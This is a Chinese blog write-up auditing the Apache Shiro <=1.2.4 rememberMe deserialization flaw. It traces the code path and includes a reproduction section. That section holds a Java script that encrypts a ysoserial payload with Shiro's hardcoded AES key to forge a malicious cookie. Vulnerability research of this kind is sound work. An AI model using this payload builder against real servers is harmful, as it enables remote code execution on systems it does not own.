一、Apache Shiro 简介:

Apache Shiro提供了认证、授权、加密和会话管理功能,将复杂的问题隐藏起来,提供清晰直观的API使开发者可以很轻松地开发自己的程序安全代码。并且在实现此目标时无须依赖第三方的框架、容器或服务,当然也能做到与这些环境的整合,使其在任何环境下都可拿来使用。

Shiro将目标集中于Shiro开发团队所称的“四大安全基石”-认证(Authentication)、授权(Authorization)、会话管理(Session Management)和加密(Cryptography):

(1) 认证(Authentication):用户身份识别。有时可看作为“登录(login)”,它是用户证明自己是谁的一个行为。

(2) 授权(Authorization):访问控制过程,好比决定“认证(who)”可以访问“什么(what)”.

(3) 会话管理(SessionManagement):管理用户的会话(sessions),甚至在没有WEB或EJB容器的环境中。管理用户与时间相关的状态。

(4) 加密(Cryptography):使用加密算法保护数据更加安全,防止数据被偷窥。

对于任何一个应用程序,Shiro都可以提供全面的安全管理服务。并且相对于其他安全框架,Shiro要简单的多。

二、漏洞分析:

1、漏洞产生流程:

(1) 加密流程:

值 -> 序列化 -> AES加密 -> base64编码 -> 生成一个 cookie值形成 rememberMe=cookie的形式

(2) 解密流程 (漏洞产生):

payload -> base64解码 -> AES解密 -> 反序列化 (造成反序列化漏洞)

2、漏洞代码审计:

(1) 加密流程:

首先观察在 CookieRemembaerMeManager.java 中的 rememberSerializedIdentity 方法,它将序列化后的值进行 base64编码后的字符串设置为 cookie 的值:

查看该方法在哪里被调用,跟进查看:

跟进可知 rememberSerializedIdentity方法被 rememberIdentity方法所调用:

跟进查看 rememberIdentity方法:

可以看到在下面 rememberIdentity方法进行了函数重载:

继续跟进重载后的 rememberIdentity方法,可以发现该方法被 onSuccessfulLoogin方法调用:

总体逻辑即为,登录成功后,会调用 AbstractRememberManager.onSuccessfulLogin方法,生成加密的 rememberMe=cookie值,然后将这个生成的 cookie值 设置为用户的cookie值。

接着 在 if(isRememberMe(token))代码处打赏断点:

运行代码,进入Web端,输入默认口令,选中 "记住我" 即 rememberMe 选项,提交表单:

回到代码断点位置,可以看到运行至断点处的 token的值:

接下来进行跟进,逐步分析代码,跟进 isRememberMe方法,分析可知,这个方法的作用是判断用户有无勾选 rememberMe 选项,有则返回 true,否则返回 false:

已知我们已经勾选了 rememberMe选项,返回 true,进入下一步调用 rememberIdentity方法:

跟进 rememberIdentity方法,这个方法会首先生成一个 principalColletion对象->principles,principles中保存用户的登录信息:

下一步,调用 rememberIdentity方法,跟进该方法,通过分析代码可知,该方法首先调用 convertPrincipalsToBytes方法对 principles值进行一个序列化的操作:

跟进 convertPrincipalsToBytes方法,可以看到该方法先使用 serialize方法对 principles值进行序列化,然后调用 encrypt方法对序列化后的值进行加密:

跟进 serialize方法,调用setSerializer()中的 serialize方法,继续跟进第二个 serialize方法,第二个serialize方法就是对参数值进行一个正常的序列化操作:

步过 serialize方法,进入 if(getCipherService() != null) 的判断逻辑,跟进 getCipherService方法,通过分析,可以判断其是 aes加密:

跟进 cipherService:

继续跟进,可以发现采用了硬编码的密钥,这也是 shiro(1.2.4)反序列化漏洞产生的关键条件之一

可以继续跟进,获取到该硬编码密钥,通过该密钥,攻击者可以对 payloads进行构造,是 shiro(1.2.4)反序列化漏洞产生的关键条件之一

继续步过,进入 encrpt方法的加密逻辑:

跟进 encrypt方法,该方法先获取 principles被序列化后的值,然后对该值使用 cipherService.encrypt方法进行加密:

跟进 cipherService.encrypt方法,该方法中,使用硬编码的key,iv向量进行了很经典的 AES加密:

通过以上逻辑总结可得,convertPrinciplesToBytes方法就是先对 principles值先进行了 序列化操作,然后对序列化后的值进行了 AES加密,但是 AES加密采用了固定的硬编码Key导致可逆,会被恶意利用。

步过 convertPrinciplesToBytes方法,进入 rememberSerializedIndentity方法的逻辑:

跟进 rememberSerializedIdentity方法,就是先对 序列化和加密后的值进行base64编码,并将编码后的值设置为用户的cookie值:

综上所述,加密流程即为:

principles值 -> 序列化 -> AES加密 -> base64编码 -> 生成一个 cookie值形成 rememberMe=cookie的形式

(2) 解密流程以及漏洞产生的原因:

有加密方法 encrypt,对应的也有解密方法,如下所示:

向上层查看跟进 decrypt在哪里被调用:

decrypt方法在 convertBytesToPrinciples方法中被调用,继续向上跟进 convertBytesToPrinciples方法在哪里被调用:

如上图所示下断点,跟进查看 getRememberSerializedIdentity方法,发现 getRememberSerializedIdentity方法中会获取 请求包中的cookie的值并进行base64解密,这个获取到的cookie的值对于攻击者来说是可控的:

步过进入 convertBytesToPrinciples方法:

该方法首先使用 decrypt方法对 传入参数使用固定的硬编码Key进行aes解密操作:

接着调用 deserialize方法对aes解密后的值进行反序列化,跟进deserialize方法:

继续跟进getSerializer().deserialize方法,发现 deserialize方法被进行了重写:

继续跟进分析重写后的方法,使用了 readObject方法,导致了反序列化漏洞的产生:

解密流程与漏洞产生的基本逻辑如下:

获取请求包中的cookie值 -> base64解码 -> aes解密 -> 反序列化

但是由于请求包中的cookie值可控 以及 aes加密采用的是硬编码固定Key,导致攻击流程如下:

攻击者构造payload命令 -> 手动序列化 -> 使用固定硬编码Key进行手动加密 -> 手动base64加密 -> 构造出完整的payload命令 -> 在请求包Cookie中构造 rememberMe=payload字段进行send发包 -> getRememberSerializedIdentity方法获取cookie值 -> base64解码 -> aes解密 -> 反序列化 -> readObject()函数导致产生反序列化漏洞。

3、漏洞攻击复现:

(1) 复现工具:
(一) dnslog
(二) ysoserial
(三) 加密脚本

首先使用 ysoserial工具构造 java反序列化攻击payload:

使用脚本对payload进行加密操作:

package org.XxxX.shiro;

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import java.io.BufferedWriter;
import java.io.FileWriter;
import java.nio.file.FileSystems;
import java.nio.file.Files; public class ShiroRememberMeGenPayload {
public static void main(String[] args) throws Exception {
byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("C:/Users/lenovo/Desktop/代码审计/ysoserial-master/payload/payload.txt")); AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA==")); //硬编码固定Key值 ByteSource ciphertext = aes.encrypt(payloads, key);
BufferedWriter out = new BufferedWriter(new FileWriter("payload.txt"));
out.write(ciphertext.toString());
out.close();
System.out.printf("OK"); }
}

运行代码生成 payload.txt:

复制 payload值将其构造为 rememberMe=payload 添加至 Cookie字段,然后放包:

dnslog回显,即可证明漏洞存在:

Apache-Shiro <=1.2.4 反序列化漏洞 (代码审计)的更多相关文章

  1. Apache Shiro<=1.2.4反序列化RCE漏洞

    介绍:Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理. 漏洞原因:因为shiro对cookie里的rememberme字段进行了反序列化,所以如果知道了 ...

  2. Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)复现

    Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)复现 环境搭建 docker pull medicean/vulapps:s_shiro_1 docker run -d ...

  3. Apache Shiro (Shiro-550)(cve_2016_4437)远程代码执行 - 漏洞复现

    0x00 漏洞原理 Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie.在服务端对rememberMe的cookie值, 先ba ...

  4. 企业安全05-Fastjson <=1.2.47反序列化RCE漏洞(CNVD-2019-22238)

    Fastjson <=1.2.47反序列化RCE漏洞(CNVD-2019-22238) 一.漏洞描述 Fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 ...

  5. Apache Shiro 反序列化RCE漏洞

    漏洞介绍 漏洞类型 :JAVA反序列化(RCE) 影响版本 :Apache Shiro 1.2.4及其之前版本 漏洞评级 :高危 漏洞分析 #: 下载漏洞环境: git clone https://g ...

  6. 复现Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

    靶机IP(Ubuntu):192.168.43.185 攻击IP(kali):192.168.43.37 一.docker环境搭建 打开vulhub靶机,目录定位到vulhub-master/shir ...

  7. fastjson<=1.2.47反序列化RCE漏洞

    介绍:fastjson是一个Java语言编写的高性能功能完善的JSON库. 漏洞原因:fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并通过json来填充其属性 ...

  8. Apache Shiro 漏洞汇总

    Apache Shiro 漏洞汇总 以下是我个人通过收集信息收集起来的一些Apache Shiro漏洞信息,这些漏洞的poc都是公开的,利用起来也是比较简单 Apache Shiro是什么东西: Ap ...

  9. Apache Shiro Java反序列化漏洞分析

    1. 前言 最近工作上刚好碰到了这个漏洞,当时的漏洞环境是: shiro-core 1.2.4 commons-beanutils 1.9.1 最终利用ysoserial的CommonsBeanuti ...

  10. 25. Apache Shiro Java反序列化漏洞

    前言: 最近在审核漏洞的时候,发现尽管Apache shiro这个反序列化漏洞爆出来好久了,但是由于漏洞特征不明显,并且shiro这个组件之前很少听说,导致大厂很多服务还存在shiro反序列化的漏洞, ...

随机推荐

  1. [rCore学习笔记 00]总览

    写在前面 本随笔是非常菜的菜鸡写的.如有问题请及时提出. 可以联系:1160712160@qq.com GitHhub:https://github.com/WindDevil (目前啥也没有 rCo ...

  2. 找实习,三本计算机 > 985文科 ?

    2018年3月,大三下学期. 写了一段时间博客以后,竟有人说要内推我. 我说我大三,还没毕业,准备暑假去找实习. 网上认识的朋友建议我去春招实习试试,还有些厂在走流程中,还有机会. 我婉拒了,感觉我自 ...

  3. mysql进阶笔记

    说明:此文章并非原创,参考极客时间文章<MySQL实战45讲>做的一些笔记,方便自己查阅,有兴趣可以自行去极客时间阅读,内容非常给力. mysql引擎  Innodb: Page是Inno ...

  4. 【Java】【常用类】Calendar 日历类

    Calendar 日历类,我居然念错发音,来,好好看下音标  ['kælɪndə]  卡琳达 public class DateTest { public static void main(Strin ...

  5. 【Uni-App】组件笔记

    官网文档地址: https://uniapp.dcloud.io/component/README 组件是视图层的基本组成单元. 组件是一个单独且可复用的功能模块的封装. 每个组件,包括如下几个部分: ...

  6. 【MUI】工作总结

    1.快速创建页面结构: mDoctype HTML: <!doctype html> <html lang="en"> <head> <m ...

  7. 关于Isaac Gym的两个版本比较:IsaacGymEnvs/omni.isaac.gym

    原文地址: https://zhuanlan.zhihu.com/p/590468555 重点: IsaacGymEnvs (IGE)和 omni.isaac.gym (OIG)是两个东西. 原文内容 ...

  8. 为什么是Google创造了AlphaGo,而不是其他公司?

    相关: Artificial Intelligence | 60 Minutes Full Episodes 答案: Google一直在进行AI方向的探索: Google有足够的算力.

  9. 特朗普开始在YouTube上打竞选广告了 —— 美国总统的竞选广告已经开始媒体投放了

    相关: 拜登开始在YouTube上打竞选广告了 -- 美国总统的竞选广告已经开始媒体投放了 PS. 又多了一个猴上台,哈哈哈. 特朗普的竞选资金筹集网站:

  10. 常用的多臂赌博机算法——Bandit Algorithms for Website Optimization

    "Bandit Algorithms for Website Optimization by John Myles White. Copyright 2013 John Myles Whit ...